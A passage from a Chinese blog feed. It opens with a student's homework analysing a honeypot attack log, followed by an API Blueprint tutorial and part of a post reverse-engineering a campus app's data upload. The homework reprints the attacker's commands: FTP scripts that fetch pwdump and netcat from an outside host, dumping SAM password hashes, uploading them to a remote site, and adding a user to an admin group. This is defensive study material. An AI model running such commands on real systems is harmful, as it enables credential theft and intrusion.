class="line"></span><br><span class="line">ftp 200.1.x.y</span><br><span class="line">echo open 200.1.x.y &gt; ftpcom</span><br><span class="line">echo johna2k &gt; ftpcom</span><br><span class="line">echo hacker2000 &gt;&gt; ftpcom</span><br><span class="line">echo get samdump.dll &gt;&gt; ftpcom</span><br><span class="line">echo get pwdump.exe &gt;&gt; ftpcom</span><br><span class="line">echo get nc.exe &gt;&gt; ftpcom</span><br><span class="line">echo quit &gt;&gt; ftpcom</span><br><span class="line">open 200.1.x.y   </span><br><span class="line"></span><br><span class="line">echo johna2k &gt;&gt; sasfile</span><br><span class="line">echo haxedj00 &gt;&gt; sasfile</span><br><span class="line">echo get pwdump.exe &gt;&gt; sasfile</span><br><span class="line">echo get samdump.dll &gt;&gt; sasfile</span><br><span class="line">echo get nc.exe &gt;&gt; sasfile</span><br><span class="line">echo quit &gt;&gt; sasfile</span><br><span class="line">ftp –s:sasfile</span><br><span class="line">open 200.1.x.y</span><br><span class="line"></span><br><span class="line">echo johna2k &gt;&gt; sasfile</span><br><span class="line">echo haxedj00 &gt;&gt; sasfile</span><br><span class="line">echo get pwdump.exe &gt;&gt; sasfile</span><br><span class="line">echo get samdump.dll &gt;&gt; sasfile</span><br><span class="line">echo get nc.exe &gt;&gt; sasfile</span><br><span class="line">echo quit &gt;&gt; sasfile</span><br><span class="line"></span><br><span class="line">C:\Program Files\Common Files\system\msad c\pwdump.exe &gt;&gt; yay.txt</span><br><span class="line">C:\Program Files\Common Files\system\msad c\pwdump.exe &gt;&gt; c:\yay.txt</span><br><span class="line">pwdump.exe &gt;&gt; c:\yay.txt</span><br><span class="line"></span><br><span class="line">net session &gt;&gt; yay2.txt</span><br><span class="line">net session &gt;&gt; c:\yay2.txt</span><br><span class="line"></span><br><span class="line">net users &gt;&gt; heh.txt</span><br><span class="line">net users &gt;&gt; c:\heh.txt</span><br><span class="line"></span><br><span class="line">net localgroup Domain Admin IWAM_KENNY /ADD</span><br><span class="line">mkdir–/s</span><br><span class="line">mkdir</span><br><span class="line">mkdir –s/</span><br><span class="line">mkdir /s –</span><br><span class="line">type c:\winnt\repair\sa._ &gt;&gt; c:\har.txt</span><br><span class="line">del c:\inetpub\wwwroot\har.txt</span><br><span class="line">del c:\inetpub\wwwroot\har.txt</span><br><span class="line">type c:\winnt\repair\sa._ &gt;&gt; c:\har.txt</span><br><span class="line">del c:\inetpub\wwwroot\har.txt</span><br><span class="line">del c:\inetpub\wwwroot\har.txt</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>代码略长，我们一点点分析 :</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"> echo werd &gt;&gt; c:\fun</span><br><span class="line">echo user johna2k &gt; ftpcom</span><br><span class="line">echo hacker 2000 &gt;&gt; ftpcom</span><br></pre></td></tr></table></figure><p>应该是记录了攻击者的名字以及攻击的端口，从变量名字上看，是一个ftp的网站?</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">echo get samdump.dll &gt;&gt; ftpcom</span><br><span class="line">echo get pwdump.exe &gt;&gt; ftpcom</span><br><span class="line">echo get nc.exe&gt;&gt;ftpcom</span><br><span class="line">echo quit&gt;&gt;ftpcom</span><br><span class="line">ftp –s:ftpcom -nwww.unknown.net</span><br><span class="line">pwdump.exe&gt;&gt;new.pass</span><br></pre></td></tr></table></figure><p>这一段比较有趣，samdump.dll是啥呢，随便上网一看，找到了一些相关的信息:</p><p>%Temp%\data\pwdump2\samdump.dll<br>%Temp%\data\pwdump2-orig\samdump.dll<br>%Temp%\ixp000.tmp\pwdump2\samdump.dll<br>%Temp%\ixp001.tmp\pwdump2\samdump.dll<br>%Temp%\pwdump2\samdump.dll<br>%Temp%\rarsfx0\pwdump2\samdump.dll<br>%Temp%\rarsfx3\pwdump2\samdump.dll<br>6了，这个pwdump怎么听也不像一个好东西吧？随便上网查一下就会发现，这个东西会是一个系统授权信息导出工具。其甚至可以导出用户的LM hash处理过的密码！这里解释一下LM是啥，LM就是微软提供的一种加密方式，类似与hash，其中有DES加密的参与的一种算法。<br>加上ftp -s,大致就能明白:</p><p><img src="/2017/03/08/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A1-%E8%9C%9C%E7%BD%90%E6%94%BB%E5%87%BB%E8%AE%B0%E5%BD%95/homework1.png" alt=""></p><p>然后利用下载的pwdump.exe,找到windows的sam密码。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">echo userjohna2k &gt; ftpcom2</span><br><span class="line">echo hacker2000&gt;&gt;ftpcom2</span><br><span class="line">put new.pass&gt;&gt;ftpcom2</span><br><span class="line">echo quit&gt;&gt;ftpcom2</span><br><span class="line">ftp -s:ftpcom2 –n  www.unknown.net     </span><br></pre></td></tr></table></figure><p>这一段很显然，就是将这个new.pass上传到了指定的网站上。但是！仔细看的话会发现这个hacker似乎忘记打echo了。。。估计是上传失败了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">ftp 200.1.x.y</span><br><span class="line">   echo open 200.1.x.y &gt; ftpcom</span><br><span class="line">   echo johna2k &gt; ftpcom</span><br><span class="line">   echo hacker2000 &gt;&gt; ftpcom</span><br><span class="line">   echo get samdump.dll &gt;&gt; ftpcom</span><br><span class="line">   echo get pwdump.exe &gt;&gt; ftpcom</span><br><span class="line">   echo get nc.exe &gt;&gt; ftpcom</span><br><span class="line">   echo quit &gt;&gt; ftpcom</span><br><span class="line">   open 200.1.x.y   </span><br></pre></td></tr></table></figure><p>第一句话存疑，可能是攻击者自己登陆了ftp，然后下载？联系最后一句莫名冒出来的open，加上之前的操作。这个人很可能操作错误了，而且从后面的内容看，这一段依然是错误的。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"> </span><br><span class="line">echo johna2k &gt;&gt; sasfile</span><br><span class="line">echo haxedj00 &gt;&gt; sasfile</span><br><span class="line">echo get pwdump.exe &gt;&gt; sasfile</span><br><span class="line">echo get samdump.dll &gt;&gt; sasfile</span><br><span class="line">echo get nc.exe &gt;&gt; sasfile</span><br><span class="line">echo quit &gt;&gt; sasfile</span><br><span class="line">ftp –s:sasfile</span><br><span class="line">open 200.1.x.y</span><br><span class="line"></span><br><span class="line">echo johna2k &gt;&gt; sasfile</span><br><span class="line">echo haxedj00 &gt;&gt; sasfile</span><br><span class="line">echo get pwdump.exe &gt;&gt; sasfile</span><br><span class="line">echo get samdump.dll &gt;&gt; sasfile</span><br><span class="line">echo get nc.exe &gt;&gt; sasfile</span><br><span class="line">echo quit &gt;&gt; sasfile</span><br></pre></td></tr></table></figure><p>这里又是重新的将之前的攻击文件下载了下来。估计是之前登陆的密码都是错的，这里</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">C:\Program Files\Common Files\system\msad c\pwdump.exe &gt;&gt; yay.txt</span><br><span class="line">C:\Program Files\Common Files\system\msad c\pwdump.exe &gt;&gt; c:\yay.txt</span><br><span class="line">pwdump.exe &gt;&gt; c:\yay.txt</span><br></pre></td></tr></table></figure><p>从这次来看，估计是前几次攻击存放的hash值存在差异导致，最后多次将数据存入yay.txt以确保受到数据。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">net session &gt;&gt; yay2.txt</span><br><span class="line">net session &gt;&gt; c:\yay2.txt</span><br><span class="line"></span><br><span class="line">net users &gt;&gt; heh.txt</span><br><span class="line">net users &gt;&gt; c:\heh.txt</span><br><span class="line"></span><br><span class="line">net localgroup Domain Admin IWAM_KENNY /ADD</span><br></pre></td></tr></table></figure><p>这段比较有意思，键入不带参数的 net session 可以显示所有与本地计算机的会话的信息。而net users则是显示出当前的所有用户。最后一句话正好符合:<br>net localgroup groupname name […] {/ADD | /DELETE} [/DOMAIN]<br>虽然不知道IWAM_KENNY是啥，但是大概的意思就是将Admin加入Domain用户组。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">mkdir–/s</span><br><span class="line">   mkdir</span><br><span class="line">   mkdir –s/</span><br><span class="line">   mkdir /s –</span><br><span class="line">   type c:\winnt\repair\sa._ &gt;&gt; c:\har.txt</span><br><span class="line">   del c:\inetpub\wwwroot\har.txt</span><br><span class="line">   del c:\inetpub\wwwroot\har.txt</span><br><span class="line">   type c:\winnt\repair\sa._ &gt;&gt; c:\har.txt</span><br><span class="line">   del c:\inetpub\wwwroot\har.txt</span><br><span class="line">   del c:\inetpub\wwwroot\har.txt</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>最后这个家伙企图新建文件夹（这四条都打错了。。），而c:\winnt\repair\sam._ sa这句话是读取本地的sam数据库（就是存放admin hash的位置）。最后在完成了偷窥后（不知道成功了吗，好像打错了），就将数据删除了。</p><h2 id="相关作业题目">相关作业题目</h2><p>(1) 攻击序列中生成几个批处理文件？<br>ftpcom, ftpcom2, fun(?), sasfile, yay.txt, yay2.txt, har.txt</p><p>(2)攻击者使用了什么黑客工具进行攻击？<br>pwdump，可以将当前的系统授权信息导出的工具。可能会泄露管理员密码。</p><p>(3)攻击者如何使用黑客工具进入并控制系统？关键技术是什么？<br>这个代码中并没有提到。给出代码段中也只有一些失败的操作。但是似乎有一次成功下载了nc.exe和pwdump.exe，不知道有没有后续操作。</p><p>(4)当攻击者获得系统的访问权后做了什么？(需具体描述)<br>多次企图登陆ftp下载pwdump.exe和nc.exe,对会话和用户进行了查看（嗅探？），企图创建文件加，最后似乎找到了文件并且查看（估计也没看到）</p><p>(5)如何防止这样的攻击？<br>打补丁呀当然是。</p><p>(6)攻击者是否警觉其攻击的目标是一台蜜罐主机？如果是，为什么？<br>我感觉没有。。。就mkdir都能打错的话估计也没想到蜜罐。</p><p>(7)攻击者在最后多次使用mkdir命令，这是Windows的合法命令吗？其企图是什么？为什么会连用多个同命令？<br>没啥企图吧。。。他打错了呀。可能是打算创建文件然后失败了。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;问某dalao同学要来的大作业1，这里记录研究过程:&lt;/p&gt;</summary>
    
    
    
    <category term="网络安全" scheme="https://showlinkroom.me/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
  </entry>
  
  <entry>
    <title>API-Blueprint</title>
    <link href="https://showlinkroom.me/2017/03/07/API-Blueprint/"/>
    <id>https://showlinkroom.me/2017/03/07/API-Blueprint/</id>
    <published>2017-03-07T08:46:08.000Z</published>
    <updated>2020-07-16T13:31:30.373Z</updated>
    
    <content type="html"><![CDATA[<p>为了能够写api,研究了API-Blueprint。这里记录一下部分学习经过</p><span id="more"></span><h2 id="api-blueprint的学习经过">API-Blueprint的学习经过</h2><p>（被折磨的不要不要的。。。）<br>首先似乎是通用markdown的部分语法的。。。<br>然而，makrdown里面的部分语法效果有微妙差距。</p><h2 id="元数据-metadate">元数据 metadate</h2><p>FORMAT: 版本<br>通过一个元数据来指定当前的版本</p><h2 id="blueprint的标题等级关系">Blueprint的标题等级关系</h2><p>markdown中的<br>##<br>表示的是第几级标题，而在API-Blueprinth中会表现呈如下；<br><img src="/2017/03/07/API-Blueprint/api_blueprint01.png" alt=""><br>可以看到，Blueprint的标题等级并不非常严格，一般来说按照如下的规则:</p><ul><li>一级标题表示的就是这个API的总分组(Group)。</li><li>二级标题表示的是API中某个组(group)下拥有的方法，也叫行为[action]，以及其对应的资源位置。</li><li>三级标题为某个模块中的方法细节内容，里面可以写当前方法传输的请求方式以及相应的属性等等，比如对应的request 和 response。</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"># Group 消息</span><br><span class="line">## 消息 [/messages/&#123;id&#125;]</span><br><span class="line">### 获取消息 [GET]</span><br></pre></td></tr></table></figure><p><img src="/2017/03/07/API-Blueprint/api_blueprint01.png" alt=""></p><h2 id="其中-group-xxx-会产生上图中最上方的黑色框框的效果-表示下列方法都属于这个group-然后接下来跟在-后-并且含有-url-的内容将会被当成当前的行为-而包含了-请求方式-的将会被当成上一个出现了-url-的具体方法-资源-url">其中# Group xxx 会产生上图中最上方的黑色框框的效果，表示下列方法都属于这个Group。然后接下来跟在 #后，并且含有[url]的内容将会被当成当前的<strong>行为</strong>，而包含了[请求方式]的将会被当成上一个出现了[url]的具体方法。<br>资源(url)</h2><p>我们可以在一级标题后定义我们的模块资源位置:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">## 消息 [/messages/&#123;id&#125;]</span><br></pre></td></tr></table></figure><p>通过标题 [url] 的形式，可以将我们的模块安排在对应的url下。在Blueprint里面，所有的数据信息都是资源。resource的定义是以#开始的,中间是resource的名字，最后使用[url]将数据包括在里面</p><h2 id="response的细节">Response的细节</h2><p>response是写在三级标题下的内容。由于算是属于该标题下，所以<strong>另启一行使用+作为开头</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">### 获取消息 [GET]</span><br><span class="line"></span><br><span class="line">+ Response 200 (application/json)</span><br></pre></td></tr></table></figure><p>当我们谈及一个action的交互的时候，就会谈及response的相关。Blueprint中我们可以记录response的返回状态码和返回内容的类型。<br>比如:<br>Response 200 (text/plain)<br>表示当前的返回值内容为200，同时将Content-Type设置为text/html，从而能够调用html的解析（当然这个状态就是啥都不解析。。）<br>然后，我们还能够继续其返回头和返回体。设置这些的时候，<strong>header和body作为同级别位于对应方法之下，应该使用一个tabs，其具体内容则是要使用三个tabs作为缩进表示为标题的内容</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">### 获取消息 [GET]</span><br><span class="line"></span><br><span class="line">+ Request Plain Text Message</span><br><span class="line"></span><br><span class="line">    + Headers</span><br><span class="line"></span><br><span class="line">            Accept: text/plain</span><br></pre></td></tr></table></figure><p>(倒是更加符合md的格式了)</p><h2 id="request的细节">Request的细节</h2><p>Blueprint中，request和response的结构差不多，也可以放相似的内容。只是request使用的是<strong>request</strong>关键字而已。</p><h2 id="参数的加入">参数的加入</h2><p>当我们想要在二级标题的url下增加参数后，我们就可以通过使用{}将参数包裹，如:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">## 消息 [/message/&#123;id&#125;]</span><br></pre></td></tr></table></figure><p>然后需要在接下的位置上写上id的相应**[例子参数]<strong>与</strong>[类型]<strong>和</strong>[相关叙述]**<br>格式为:<br>[tabs]+ 变量名: 例子 (类型) - 叙述</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">+ Parameters</span><br><span class="line"></span><br><span class="line">    + id: 2 (number) - a unique identifier of the message</span><br></pre></td></tr></table></figure><p>注意空格，不然的话很容易出问题.</p><p>我们还可以提供另一个url，返回一系列我们的message。然后这个url下需要加上用于限制返回资源的参数<code>limit</code>,当然由于这个参数可能不会影响每个方法，所以还要在特定的方法下写:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">### Retrieve all Messages [GET]</span><br><span class="line"></span><br><span class="line">+ Parameters</span><br><span class="line"></span><br><span class="line">    + limit (number, optional) - The maximum number of results to return.</span><br><span class="line">        + Default: `20`</span><br><span class="line"></span><br><span class="line">+ Response 200 (application/json)</span><br><span class="line"></span><br><span class="line">        \[</span><br><span class="line">          &#123;</span><br><span class="line">            &quot;id&quot;: 1,</span><br><span class="line">            &quot;message&quot;: &quot;Hello World!&quot;</span><br><span class="line">          &#125;,</span><br><span class="line">          &#123;</span><br><span class="line">            &quot;id&quot;: 2,</span><br><span class="line">            &quot;message&quot;: &quot;Time is an illusion. Lunchtime doubly so.&quot;</span><br><span class="line">          &#125;,</span><br><span class="line">          &#123;</span><br><span class="line">            &quot;id&quot;: 3,</span><br><span class="line">            &quot;message&quot;: &quot;So long, and thanks for all the fish.&quot;</span><br><span class="line">          &#125;</span><br><span class="line">        \]</span><br></pre></td></tr></table></figure><p>注意json返回值如果是一个list内容的话，至少要两个tabs。<br><img src="/2017/03/07/API-Blueprint/api_blueprint02.png" alt=""><br>如果设置没问题的话，结果会如上。</p><h2 id="属性的增加">属性的增加</h2><p>当想要在request或者response中增加属性的时候(也就是表单一类的参数值),我们需要首先设置一个Attributes属性，然后在后写上足够的注释:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">+ Attributes(object)</span><br><span class="line"></span><br><span class="line">    + id: 250ff(string, required)</span><br><span class="line">    + created: 1415203908 (number) - Time stamp</span><br><span class="line">    + percent_off :25 (number)</span><br><span class="line"></span><br><span class="line">        A positive integer between 1 and 100 that represents the discount the coupon will apply</span><br><span class="line"></span><br><span class="line">    + redeem_by (number) - Date after which the coupon can no longer be redeemed</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>同样还是要注意空格和tabs。形成如下的图表内容:<br><img src="/2017/03/07/API-Blueprint/api_blueprint03.png" alt=""><br>如果我们已经实现了一个属性，然后在别的对象中也有相同的属性的时候，可以直接填入之前卸写了属性的位置:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">## Coupon [/coupons/&#123;id&#125;]  </span><br><span class="line">A coupon contains information about a percent-off or amount-off discount you might want to apply to a customer</span><br><span class="line"></span><br><span class="line">+ Parameter</span><br><span class="line">    </span><br><span class="line">    + id (string)</span><br><span class="line"></span><br><span class="line">        The ID of the desired coupon.</span><br><span class="line"></span><br><span class="line">+ Attributes(object)</span><br><span class="line"></span><br><span class="line">    ... </span><br><span class="line"></span><br><span class="line">### Retrive a Coupen [GET]</span><br><span class="line">Retrives the coupon with the given ID</span><br><span class="line"></span><br><span class="line">+ Response 200 (application/json)</span><br><span class="line"></span><br><span class="line">    + Attributes(Coupon) &lt;-------------此处直接引用coupon</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>现在先记一下存疑的地方好了:<br><strong>array</strong>关键字:不懂，好像是放在一个属性集群中的。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;为了能够写api,研究了API-Blueprint。这里记录一下部分学习经过&lt;/p&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="API规范" scheme="https://showlinkroom.me/tags/API%E8%A7%84%E8%8C%83/"/>
    
  </entry>
  
  <entry>
    <title>mdschool-研究记录</title>
    <link href="https://showlinkroom.me/2017/03/04/mdschool-%E7%A0%94%E7%A9%B6%E8%AE%B0%E5%BD%95/"/>
    <id>https://showlinkroom.me/2017/03/04/mdschool-%E7%A0%94%E7%A9%B6%E8%AE%B0%E5%BD%95/</id>
    <published>2017-03-04T11:51:39.000Z</published>
    <updated>2020-07-16T13:31:30.392Z</updated>
    
    <content type="html"><![CDATA[<p>这个mdschool app 我老早就打算研究。本周末的pwnhub的题目好难，而且还是web，我完全不会，所以干脆研究这个好了.</p><span id="more"></span><h2 id="觅动校园-app研究记录">觅动校园 app研究记录</h2><p>我第一次是从网上直接下载了apk然后进行观察，发现这个apk完全不能用啊，里面都是qihoo的保护内容，而且又是喜闻乐见的动态加载。总不能自己解析这个数据包吧，所以第二次，我就将app直接从手机上传到了电脑上（一开始还root啊各种花式操作，然后发现qq自带这个功能。。。）</p><p>首先将文件解压，然后将里面的.dex文件使用dex2jar转换成了jar文件，里面的内容大致如下:<br><img src="/2017/03/04/mdschool-%E7%A0%94%E7%A9%B6%E8%AE%B0%E5%BD%95/mdschool_class1.png" alt=""><br>仔细观察，发现这里的类中，只有一个叫做&quot;huidong&quot;的package比较可疑，其他的数据似乎都是辅助。然后我们来看看里面的文件结构:<br><img src="/2017/03/04/mdschool-%E7%A0%94%E7%A9%B6%E8%AE%B0%E5%BD%95/mdschool_class1_01.png" alt=""><br>箭头指向的这个很可能就是我们需要了解的<strong>觅动</strong>的相关函数，pbl是android app启动的时候用于初始化物理设备，引动系统内核启动的；zxing是实现二维码扫描的；meetwalk里面放置似乎是。。让我们想一想，觅动校园里面的主要功能分为:</p><ul><li>大家都不喜欢的打卡</li><li>部分同学使用的正常社交功能<br>如果说，箭头指向的位置表示的是**【觅动】<strong>本身的社交功能，那么这个</strong>meetwalk可能就是记录行走相关的类**。回想一下我们这次研究的最终目的，有一个就是找出打卡的真实过程，那么我们就很有必要好好研究一下这个package:<br>这个package内部是这样的：<br><img src="/2017/03/04/mdschool-%E7%A0%94%E7%A9%B6%E8%AE%B0%E5%BD%95/mdschool_class1_meetwalk.png" alt=""></li></ul><h4 id="gpsstepcountactivity-class">GPSStepCountActivity.class</h4><p>这个类中记录了【打卡过程】，里面有【当前的打卡状态】，以及【打开的逻辑判定】</p><h4 id="gpsrouteactivity-class">GPSRouteActivity.class</h4><p>这个类记录的是【打卡是否完成】，以及提交的方位。<br>通过搜索关键字**【保存提交】**，我们会将提交功能定位到目标函数:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">savePoints</span><span class="params">()</span></span><br></pre></td></tr></table></figure><p>函数的最后有以下内容:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GPSRouteActivity.<span class="built_in">this</span>.http.httpRequest(<span class="number">5307</span>, localHashMap, <span class="literal">false</span>, SaveRouteResult.class, <span class="literal">true</span>, <span class="literal">false</span>);</span><br></pre></td></tr></table></figure><p>这个函数将会把我们的跑步数据上传到网上。也就是说，这个过程中有可能能够找到我们平时的数据都上传到了哪里。<br>接下来我们顺着访问httpRequest函数:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">httpRequest</span><span class="params">(<span class="type">int</span> paramInt, Map paramMap, <span class="type">boolean</span> paramBoolean1, Class paramClass, <span class="type">boolean</span> paramBoolean2, <span class="type">boolean</span> paramBoolean3)</span></span><br><span class="line">  &#123;</span><br><span class="line">    Log.e(paramInt + <span class="string">&quot;请求参数&quot;</span>, paramMap.toString());</span><br><span class="line">    <span class="keyword">if</span> ((OnClickUtil.isMostPost()) &amp;&amp; (lastRequestType == paramInt)) &#123;</span><br><span class="line">    <span class="comment">// 如果连续点击或者请求失败的话，那么不要传输</span></span><br><span class="line">      <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ((<span class="built_in">this</span>.mContext <span class="keyword">instanceof</span> BaseActivity)) &#123;</span><br><span class="line">      <span class="keyword">if</span> ((paramBoolean2) &amp;&amp; (!((BaseActivity)<span class="built_in">this</span>.mContext).loadingDialog.isShowing())) &#123;</span><br><span class="line">      <span class="comment">// 显示上传画面</span></span><br><span class="line">        ((BaseActivity)<span class="built_in">this</span>.mContext).loadingDialog.show();</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span> (;;)</span><br><span class="line">    &#123;</span><br><span class="line">      lastRequestType = paramInt;</span><br><span class="line">      Log.d(<span class="string">&quot;httpRequest&quot;</span>, <span class="string">&quot;httpRequest发送&quot;</span>);</span><br><span class="line">      <span class="built_in">this</span>.paseUtil = <span class="keyword">new</span> <span class="title class_">BasePaserMessageUtil</span>();</span><br><span class="line"></span><br><span class="line">      <span class="comment">//这里进行查找，这里返回的是str1 + &quot;datewalk/createSportTrack.action&quot;;</span></span><br><span class="line">      <span class="type">String</span> <span class="variable">str</span> <span class="operator">=</span> initUrl(paramInt);</span><br><span class="line">      <span class="built_in">this</span>.httpTask = <span class="keyword">new</span> <span class="title class_">HttpTask</span>(paramInt, <span class="built_in">this</span>.mHandler, str, <span class="built_in">this</span>.mContext, paramMap, paramBoolean1, paramClass, <span class="built_in">this</span>.paseUtil, paramBoolean3);</span><br><span class="line">      <span class="type">HttpTask</span> <span class="variable">localHttpTask</span> <span class="operator">=</span> <span class="built_in">this</span>.httpTask;</span><br><span class="line">      <span class="type">Executor</span> <span class="variable">localExecutor</span> <span class="operator">=</span> AsyncTask.THREAD_POOL_EXECUTOR;</span><br><span class="line"></span><br><span class="line">      RequestMethod[] arrayOfRequestMethod = <span class="keyword">new</span> <span class="title class_">RequestMethod</span>[<span class="number">1</span>];</span><br><span class="line">      arrayOfRequestMethod[<span class="number">0</span>] = RequestMethod.POST;</span><br><span class="line">      localHttpTask.executeOnExecutor(localExecutor, arrayOfRequestMethod);</span><br><span class="line">      <span class="keyword">if</span> (<span class="built_in">this</span>.controlcurrentThread == <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="built_in">this</span>.controlcurrentThread.getControlcurrentThread(<span class="built_in">this</span>.httpTask);</span><br><span class="line">      <span class="keyword">return</span>;</span><br><span class="line">      <span class="keyword">if</span> (((<span class="built_in">this</span>.mContext <span class="keyword">instanceof</span> BaseFragmentActivity)) &amp;&amp; (paramBoolean2) &amp;&amp; (!((BaseFragmentActivity)<span class="built_in">this</span>.mContext).loadingDialog.isShowing())) &#123;</span><br><span class="line">        ((BaseFragmentActivity)<span class="built_in">this</span>.mContext).loadingDialog.show();</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>从代码看，这里的内容几乎就是发送的过程了。虽然不是太明白，但是大致内容就是发起了一个http请求，这个请求能够将我们的数据存放在服务器上的数据库中。<br>然后这里应该是将我们的数据上传，然而这个位置的str1的地址是啥呢？感觉这里不弄清楚就没有办法继续下去了。。<br>想起来比赛时候下载的BeCompare，于是将Constants.class导入，查找BASEURL，发现为<br><a 